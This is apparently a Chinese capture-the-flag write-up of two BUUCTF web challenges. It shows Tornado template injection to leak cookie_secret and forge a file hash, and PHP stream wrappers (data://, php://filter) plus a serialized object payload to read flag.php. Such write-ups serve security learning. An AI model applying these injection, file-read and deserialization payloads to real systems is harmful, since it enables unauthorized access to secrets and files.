当前位置: 首页 > news >正文

[BT]BUUCTF刷题第9天(3.27)

第9天(共2题)

[护网杯 2018]easy_tornado

打开网站就是三个txt文件

在这里插入图片描述

/flag.txt
flag in /fllllllllllllag

/welcome.txt
render

/hints.txt
md5(cookie_secret+md5(filename))

当点进flag.txt时,url变为

http://b9e52e06-e591-46ad-953e-7e8c5fffa144.node5.buuoj.cn:81/file
?filename=/flag.txt&filehash=41a9f15a56218197f80a148252160b57

所以,为了获得flag,我们应该是要访问:
?filename=/fllllllllllllag&filehash=md5(cookie_secret+md5(fllllllllllllag))

flag位于的文件是知道了,但是用于md5加密的cookie_secret还不知道,因此接下来的重点是找到这个值

这里发现如果将url随便修改一下页面会返回报错网页,而且页面显示内容就是url的msg参数值,根据题目描述,网站由Python tornado模板渲染搭建,且/welcome.txt的内容是render ,因此可能存在模板注入
render()是tornado里的函数,可以生成html模板。是一个渲染函数

在这里插入图片描述
尝试输入1

在这里插入图片描述

但是尝试{{7*7}}的时候页面返回ORZ,极有可能网站进行了绕过

在这里插入图片描述
查看题解知道Tornado框架的附属文件handler.settings中存在cookie_secret

那么构造URL:

http://618bb433-84ee-45f8-b7ec-06854eeb3f51.node5.buuoj.cn:81/error?msg={{handler.settings}}

成功得到cookie_secret的值

在这里插入图片描述
接下来就是使用脚本(摘自其他题解)生成带有cookie_secret的MD5加密结果:

import hashlib

file_hash = hashlib.md5()

filename = '/fllllllllllllag'
file_hash.update(filename.encode('utf-8'))
s1 = file_hash.hexdigest()

cookie_secret = "5e464901-efe3-4de1-8cff-dd7ebc369435"

file_hash = hashlib.md5()
file_hash.update((cookie_secret + s1).encode('utf-8'))
print(file_hash.hexdigest())

在这里插入图片描述
最后构造URL:

http://618bb433-84ee-45f8-b7ec-06854eeb3f51.node5.buuoj.cn:81/file
?filename=/fllllllllllllag&filehash=b3d128b5ea44beaee4c83cddf7fb2c7a

成功拿到flag

在这里插入图片描述

[ZJCTF 2019]NiZhuanSiWei

在这里插入图片描述
打开网站就能看到源代码,首先是3个GET方法传递的参数textfilepassword

第一个判断是打开text参数的文件夹(读模式),将里面的内容和"welcome to the zjctf"进行比对(我们需要使其为真)

第二个是传入的file参数不能包含flag字样

第三个是一段反序列化,我们需要知道源码

为了使第一个判断为真,我们用到的是PHP伪协议的data://【写入协议】:

?text=data://text/plain,welcome to the zjctf      //写入内容

?text=data://text/plain;base64,d2VsY29tZSB0byB0aGUgempjdGY=  //使用Base64编码写入内容

注意:写入的数据并未保存在网站上的任何地方,它只是作为URL的一部分被读取

写入成功,接下来是获得PHP序列化的源码

在这里插入图片描述
我们看到源代码有一个关键文件useless.php

构造URL来查看useless.php的内容:

http://39b65aba-edc5-4f44-b389-a18a6d29a0d4.node5.buuoj.cn:81/
?text=data://text/plain,welcome%20to%20the%20zjctf/useless.php

但是网站返回的源代码和上面直接看到的没有区别,这里考虑用PHP伪协议的filter【读取协议】:

http://39b65aba-edc5-4f44-b389-a18a6d29a0d4.node5.buuoj.cn:81/?text=data://text/plain,welcome to the zjctf&file=php://filter/read=convert.base64-encode/resource=useless.php

得到Base64编码数据

在这里插入图片描述
解码后得到:

<?php  
class Flag{  											//flag.php  
    public $file;  
    public function __tostring(){  
        if(isset($this->file)){  
            echo file_get_contents($this->file); 
            echo "<br>";
        return ("U R SO CLOSE !///COME ON PLZ");
        }  
    }  
}  
?>  

根据泄露的序列化源代码,可以构造:

<?php
class Flag{                                            //flag.php  
    public $file = "flag.php";    
 }  
echo serialize(new Flag);
?>

得到:O:4:"Flag":1:{s:4:"file";s:8:"flag.php";}

构造URL:

http://39b65aba-edc5-4f44-b389-a18a6d29a0d4.node5.buuoj.cn:81
?text=data://text/plain,welcome to the zjctf&file=useless.php
&password=O:4:"Flag":1:{s:4:"file";s:8:"flag.php";}

得到flag

在这里插入图片描述

相关文章:

  • Golang-web开发好用的依赖库
  • 苹果与百度合作,将在iPhone 16中使用生成式AI
  • DSP 看门狗权威解读
  • pytorch常用的模块函数汇总(2)
  • stm32使用定时器实现PWM与呼吸灯
  • 备考ICA----Istio实验9---熔断Circuit Breaking 实验
  • 第一篇:概述、 目录、适用范围及术语 --- IAB/MRC《增强现实(AR)广告(效果)测量指南1.0 》
  • 主流的开发语言、环境及其特点
  • 【深度学习】【机器学习】用神经网络进行入侵检测,NSL-KDD数据集,基于机器学习(深度学习)判断网络入侵
  • 前端学习<二>CSS基础——04-CSS选择器:伪类
  • QT 常用模块介绍以及使用说明
  • YOLOv9改进策略:IoU优化 | Wasserstein Distance Loss,助力小目标涨点
  • java中的static和单例模式
  • SpringBoot自定义stater开发:拦截器开发
  • 命令模式(请求与具体实现解耦)
  • Photoshop 工具使用详解(全集 · 2024版)
  • hdlbits系列verilog解答(Adder3)-67
  • 2024-03-26 Android8.1 px30 WI-FI 模块rtl8821cu调试记录
  • 数学分析复习:实数项级数的收敛
  • python --dejavu音频指纹识别
  • https://app.hackthebox.com/machines/Inject
  • Spring —— Spring简单的读取和存储对象 Ⅱ
  • 渗透测试之冰蝎实战
  • Mybatis、TKMybatis对比
  • Microsoft Office 2019(2022年10月批量许可版)图文教程
  • 《谷粒商城基础篇》分布式基础环境搭建
  • 哈希表题目:砖墙
  • Vue 3.0 选项 生命周期钩子
  • 【车载嵌入式开发】AutoSar架构入门介绍篇
  • 【计算机视觉 | 目标检测】DETR风格的目标检测框架解读